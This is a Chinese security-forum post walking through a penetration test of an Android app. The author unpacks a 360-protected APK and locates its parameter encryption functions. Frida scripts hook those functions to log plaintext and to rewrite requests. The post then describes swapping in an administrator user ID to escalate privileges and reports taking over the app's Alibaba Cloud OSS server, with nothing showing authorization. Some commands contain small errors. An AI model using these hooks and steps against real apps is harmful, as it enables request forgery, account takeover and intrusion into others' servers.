-
-
[原创]app渗透,frida解密参数定制抓包
-
发表于:
2023-3-16 15:16
3631
-
使用小黄鸟进行抓包发现所有接口都是通过paras进行传递
paras参数值是被加密了的
需要解密后才能进行正常抓包

通过mt对apk进行反编译发现是360加固,这是使用万能脱壳法

通过对dex代码反编译进行分析,然后使用瞎几把搜索乱下段定位法
定位到了以下代码块
1 2 3 4 | HashMap v4 = new HashMap();
v4.put("mobile", StringsKt.trim(arg3.getBinding().etPhone.getText().toString()).toString());
v4.put("password", StringsKt.trim(arg3.getBinding().etLoginPwd.getText().toString()).toString());
String v4_1 = GsonUtil.INSTANCE.mapToJsonStrObjEncryption(v4);
|

通过分析发现所有接口都是先定义了hashmap
然后所有参数传递给hashmap
然后调用mapToJsonStrObjEncryption
通过函数定义的命名就能知道是将对象加密 然后返回一段json

这里接着往下跟
发现是调用的encryptionData
此时的hashmap已经是json字符串了


同类下发现decryptData
那么这里 encryptionData decryptData便是关键函数
准备一个真机进行调试,先将frida-server push到手机然后执行起来
1 2 3 | adb push /data/local/tmp frida-server
chmod 777 /data/local/tmp/frida-server
./data/local/tmp/frida-serve
|
写好frida hook关键函数并且log出参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | function main()
{
Java.perform(function(){
var LoginActivity= Java.use("com.xxxxxxxx.utils.DecryptUtils");
LoginActivity.encryptionData.implementation=function(str)
{
console.log("待加密的数据:" + str);
console.log("解密后的数据" + this.encryptionData(str));
return this.encryptionData(str);
}
LoginActivity.decryptData.implementation=function(str)
{
console.log("待解密的数据:" + str);
console.log("解密后的数据" + this.decryptData(str));
return this.decryptData(str);
}
});
}
setTimeout(() => {
main()
});
|
然后将代码注入到指定进程
1 | frida -U -F 包名 -l hook.js
|

此时,便明文了,可以进行抓包了
1 2 3 4 5 6 7 8 9 10 11 | var LoginActivity= Java.use("com.xxxxxx.utils.DecryptUtils");
LoginActivity.encryptionData.implementation=function(str)
{
console.log("待加密的数据:" + str);
if (str.indexOf("被改的内容") > -1)
{
str = str.replace("被改的内容","待改的内容");
console.log("改改改改改包:" + str);
}
return this.encryptionData(str);
}
|

通过抓管理员userid,然后到个人页面刷新,将自己的userid改成管理员的便越权了,可以进行改包了

发现阿里云oss

成功接管服务器!!!
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!